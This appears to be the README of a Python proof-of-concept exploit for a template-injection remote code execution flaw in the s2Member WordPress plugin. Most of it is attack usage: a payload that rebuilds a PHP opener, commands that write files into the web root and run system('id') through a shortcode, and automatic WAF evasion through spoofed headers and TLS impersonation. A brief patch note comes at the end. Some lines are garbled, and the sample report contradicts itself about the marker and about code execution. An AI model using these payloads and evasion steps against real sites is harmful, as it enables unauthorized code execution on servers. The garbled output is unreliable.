
CVE-2026-86596 s2Member <= 260927 template-injection PoC (lab; IPN verification required)
Single-file Python PoC for the s2Member <= 260927 template-injection RCE.
The vulnerable code:
$paypal = strip_php_tags_deep($paypal); // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));
Payload:
<%%x%%?php echo 'CVE-2026-86596'; ?>
strip_php_tags_deep() leaves it alone because there is no literal <?.
The %%item_name%% replacement inserts it; the final %%(.+?)%% cleanup
removes %%x%%, leaving a valid <?php opener.
python3 poc.py https://wordpress.lab
That is the whole flow:
cve_test.php with @thiscitze into the WordPress root,https://wordpress.lab/cve_test.php and verifies the marker.If the protected post/page ID is not 1:
python3 poc.py https://wordpress.lab --item-number 123
If .php is blocked, write a plain text marker:
python3 poc.py https://wordpress.lab --filename cve_test.txt
If the site uses a proxy verification key:
python3 poc.py https://wordpress.lab --proxy-verification "KEY"
Concise report:
CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item : 123
run id : 1a0d80
time : 2026-11-03 12:34:56 UTC
[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
1/5 abspath/cve_test.php HTTP 200
[+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped
RESULT
CVE applicable : YES - vulnerable version
Injection : OK
IPN response : HTTP 200 | HTTP 200; processing not proven
Test file : FOUND - https://wordpress.lab/cve_test.php
Marker : not checked
RCE : CONFIRMED - code execution works
Run ID : 1a0d80
Next : test file: https://wordpress.lab/cve_test.php
The report answers three separate questions:
RCE: NOT CONFIRMED means the script did not prove code execution, even if
the HTTP status was 200.
Color is on when stdout is a TTY; force it with --color always or disable
it with --color never.
If the target is behind a WAF/challenge, the script automatically tries request-shape variants before giving up:
multipart/form-dataitem_name (benign + payload)multipart/form-data with duplicate item_nameX-Forwarded-For / X-Real-IP / CF-Connecting-IP spoof headerscurl_cffi browser TLS impersonation (pip install curl_cffi)--http-proxy is givenOptional controls:
python3 poc.py https://wordpress.lab \
--http-proxy http://127.0.0.1:8080 \
--cookie "cf_clearance=..." \
--impersonate chrome
--no-evasion disables the automatic variants. A JS challenge may still
require a real browser session or a PayPal-origin IPN; header tricks are not
a guaranteed bypass.
Write a test file into the WordPress root and verify it:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--test-url https://wordpress.lab/cve_test.php
The payload writes cve_test.php containing:
<?php echo "@thiscitze"; ?>
If .php is blocked or not needed, write a plain text marker instead:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--filename cve_test.txt \
--marker "@thiscitze" \
--test-url https://wordpress.lab/cve_test.txt
The file is written to ABSPATH (the WordPress filesystem root). If
WordPress is installed in a subdirectory, adjust --test-url accordingly.
python3 poc.py --simulate
Expected:
[*] after strip_php_tags_deep():
"<%%x%%?php echo 'CVE-2026-86596'; ?>"
[*] after placeholder cleanup:
"Thanks Test!\n\n<?php echo 'CVE-2026-86596'; ?>..."
[+] '<?php' opener reassembled
Shortcode variant:
python3 poc.py --simulate --shortcode --command "system('id');"
This produces [s2If php="system('id');"], which executes if the template
reaches a do_shortcode() / [s2If php] sink.
python3 poc.py --check https://wordpress.lab
It reads readme.txt or s2member.php and compares the version with
260927 / 261001.
python3 poc.py --ipn https://wordpress.lab \
--item-number 123 \
--payload "<%%x%%?php echo 'CVE-2026-86596'; ?>"
s2Member verifies IPNs with PayPal (POST back) or a proxy verification key. A directly forged POST is normally rejected. For a lab:
item_name is the payload, orpython3 poc.py --ipn https://wordpress.lab --item-number 123 \
--proxy-verification "<value from the site's button code>" \
--command "id"
The script prints the HTTP response and warns if the target rejected the verification.
python3 poc.py --trigger "https://wordpress.lab/thank-you/?..."
Fetches a page and searches for CVE-2026-86596, which the payload echoes.
This is useful when the tracking-code / shortcode sink renders after the IPN.
custom must start with the site hostname (or skip_ipn_domain_validation
must be enabled).item_number for the Specific Post/Page path.do_shortcode() / [s2If php=...], or a custom integration that evals
the notification template. The default plain email body itself is sent
through wp_mail, not eval'd.Update to s2Member 261001 or later (current: 261017). The fix replaces
the sequential interpolation with fill_paypal_template_once() and sanitizes
the tracking destination to [A-Za-z0-9 @._-].
PR:N) say unauthenticated. Treat it as remote/unauthenticated for
patch priority, but validate the IPN/proxy requirements in your setup.